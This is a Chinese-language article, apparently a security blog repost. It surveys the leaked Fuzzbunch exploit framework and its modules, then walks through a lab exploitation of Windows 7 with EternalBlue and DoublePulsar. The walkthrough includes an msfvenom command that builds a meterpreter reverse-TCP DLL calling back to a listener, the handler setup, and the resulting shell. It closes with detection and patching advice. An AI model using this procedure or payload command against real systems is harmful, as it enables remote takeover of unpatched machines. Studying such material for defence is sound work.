Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例


1 整体目录介绍

解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:

1. windows目录针对Windows操作系统的利用工具和相关攻击代码;

2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;

3. oddjob目录是后门Rootkit等相关文档;

1.1 框架介绍

我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:

1. fb.py

2. start_lp.py

1.2 FB模块介绍

fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunchfb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。

fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。

1.3 start模块介绍

start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:

2 fuzzbunch的插件列表和影响的服务与版本

2.1 ImplantConfig 植入工具模块

  • Darkpulsar 1.1.0 操控NTLM或 加载shellcode

  • Mofconfig 1.0.0

2.2 ListeningPost

  • 内容未公开

2.3.Exploit 漏洞利用模块

  • Easybee 1.0.1Mdaemon漏洞

  • Easypi 3.1.0 IBM Lotus漏洞

  • Eclipsedwing 1.5.2MS08–067

  • Educatedscholar 1.0.0MS09–050

  • Emeraldthread 3.0.0MS10–061

  • Emphasismine 3.4.0IBM Lotus Domino漏洞

  • Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞

  • Erraticgopher 1.0.1SMB漏洞

  • Eskimoroll 1.1.1MS14–068

  • Esteemaudit 2.1.0RDP漏洞

  • Eternalromance 1.4.0SMBv1 漏洞

  • Eternalsynergy 1.0.1SMB漏洞

  • Ewokfrenzy 2.0.0Domino漏洞

  • Explodingcan 2.0.2IIS漏洞利用工具

  • Zippybeer 1.0.2 域控漏洞

2.4 Touch 信息探测、漏洞测试模块

  • Architouch 1.0.0

  • Domaintouch 1.1.1

  • Eclipsedwingtouch 1.0.4

  • Educatedscholartouch 1.0.0

  • Emeraldthreadtouch 1.0.0

  • Erraticgophertouch 1.0.1

  • Esteemaudittouch 2.1.0

  • Explodingcantouch 1.2.1

  • Iistouch 1.2.2

  • Namedpipetouch 2.0.0

  • Printjobdelete 1.0.0

  • Printjoblist 1.0.0

  • Rpctouch 2.1.0

  • Smbtouch 1.1.1

  • Webadmintouch 1.0.1

  • Worldclienttouch 1.0.1

2.5 Payload Payload模块

  • Doublepulsar 1.3.1支持 DLL 后门 和 shellcode

  • Jobadd 1.1.1

  • Jobdelete 1.1.1

  • Joblist 1.1.1

  • Pcdlllauncher 2.3.1

  • Processlist 1.1.1

  • Regdelete 1.1.1

  • Regenum 1.1.1

  • Regread 1.1.1

  • Regwrite 1.1.1

  • Rpcproxy 1.0.1

  • Smbdelete 1.1.1

  • Smblist 1.1.1

  • Smbread 1.1.1

  • Smbwrite 1.1.1

2.6 Special 专用模块

  • Eternalblue 2.2.0 SMB漏洞 MS17–010

  • Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147

检测与建议

  • 通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar

  • ms17-017 检查 ,可通过metasploit代码:smb_ms17_010.rb

  • Microsoft的影响评价:Protecting customers and evaluating risk

  • ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical

3 fuzzbunch实验环境介绍

3.1 靶机环境介绍:

1. Fuzzbunch运行环境,操作系统:Windows 7;

2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;

3.1 控制端系统,操作系统:Kali1.1;

3.2 漏洞利用流程,以Eternalblue举例:

1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:

2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:

3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:

4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:

5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:

6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:

7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:

8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:

9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:

10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:

11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:

12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:

13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:

14. 在kali进行反向TCP监听的配置,如下图:

  • 命令:use exploit/multi/handler,

  • payload:windows/meterpreter/reverse_tcp

15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:

16. 配置注入的dll的程序,我们选择explorer.exe。如下图:

17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:

18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:

19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:

20. 运行shell,执行whoami指令。如下图:

4 总结

从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:

  • 升级系统补丁,确保补丁更新到最新版本。

  • 关闭没有补丁的服务

  • 使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。

NSA Fuzzbunch分析与利用案例的更多相关文章

  1. full gc频繁的分析及解决案例

    full gc频繁的分析及解决案例 2016-04-14 09:20:54      0个评论    来源:end's coding life   收藏   我要投稿 现象 ? 1 系统报警full ...

  2. FakeID签名漏洞分析及利用(二)

    本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...

  3. word漏洞分析与利用

    众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...

  4. 【转】cve2014-3153 漏洞之详细分析与利用

    背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...

  5. 《gis空间分析及应用案例解析》培训总结

    <gis空间分析及应用案例解析>培训总结 来源:常德水情 作者:唐校准 发布日期:2014-01-02       2013年12月2630日由中国科学院计算技术研究所教育中心组织的< ...

  6. Vivotek 摄像头远程栈溢出漏洞分析及利用

    Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...

  7. CVE-2014-3153分析和利用

    本文是结合参考资料对CVE-2014-3153的分析,当然各位看官可以看最后的资料,他们写的比我好. 在看CVE-2014-3153之前我们用参考资料4中例子来熟悉下这类漏洞是如何产生的: /** * ...

  8. 【逆向实战】ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用

    /作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 漏洞简介 CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的 ...

  9. Java练习小题_求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将a[i][i]累加后输出。

    要求说明: 题目:求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将 a[i][i] 累加后输出. 实现思路: [二维数组]相关知识 ...

随机推荐

  1. ZooKeeper集群-搭建指南

    第一步: 上传安装程序到Linux 这一步很简单就不在这过多说明了! 第二步: 在Linux上使用命令行安装 第三步: 修改配置文件 1.修改zoo.cfg文件 2.修改集群中各台主机的名称 1).如 ...

  2. [UWP]涨姿势UWP源码——适配电脑和手机

    上一篇我们介绍了绘制主界面的MainPage.xaml,本篇则会结合MainPage.xaml.cs来讲一讲如何适配电脑和手机这些不同尺寸的设备. 同时适配电脑和手机存在几个麻烦的地方: 屏幕尺寸差距 ...

  3. Java日期格式化方法

    首先获取当前系统时间的方法有两种:第一种可以用currentTimeMillis()方法获取,它其实产生的是一个当前的毫秒数,这个毫秒是自1970年1月1日0时起至现在的毫秒数,类型是long 型,可 ...

  4. JAVA-实例方法被覆盖,静态方法被隐藏Explain

    被覆盖比较好理解,类似于多态的实现. 被隐藏是指静态方法的访问是根据当前对象的表面类型来决定的,比如 Supers = new Sub(); s.greeting()访问的是Super的静态方法,如果 ...

  5. 读书笔记 effective c++ Item 43 了解如何访问模板化基类中的名字

    1. 问题的引入——派生类不会发现模板基类中的名字 假设我们需要写一个应用,使用它可以为不同的公司发送消息.消息可以以加密或者明文(未加密)的方式被发送.如果在编译阶段我们有足够的信息来确定哪个信息会 ...

  6. zookeeper的安装与部署-集群

    1.Zookeeper的下载与解压     通过后面的链接下载Zookeeper:    Zookeeper下载在此我们下载zookeeper-3.4.5下载后解压至安装目录下,本文我们解压到目录:/ ...

  7. java 客户端发起http请求

    package com.mall.core.utils.http; import org.apache.commons.lang.StringUtils; import org.apache.http ...

  8. 安装hadoop2.7.3

    hadoop3与hadoop2.x的变化很大,hadoop3很多东西现在做起来太麻烦了,这里先安装hadoop2.7.3 此贴学习地址http://www.yiibai.com/t/mapreduce ...

  9. VC++内置数据类型存储及取值范围

    亲测,基于win7 32位,vs2012编译 结果: 代码: #include "stdafx.h" #include <iostream> #include < ...

  10. js中元素(图片)切换和隐藏显示问题

    这个知识点其实也简单,(当然是在理清思路的情况下),在没预习的情况下听的还真是艰难,上课以来唯一的一次懵逼了一天,感觉乱乱的,全是新属性,所以今晚的我破天荒的熬夜敲代码,一定要弄懂! 现在就来梳理下头 ...